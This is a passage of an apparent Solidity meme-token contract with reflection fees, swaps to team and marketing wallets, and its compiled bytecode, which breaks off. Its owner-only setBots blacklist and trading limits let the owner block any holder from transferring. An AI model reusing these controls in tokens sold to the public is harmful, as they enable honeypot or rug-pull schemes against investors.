takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601281526020017f43727970746f204d65737369616820496e750000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f634d455353494148494e5520f09f8d9b00000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082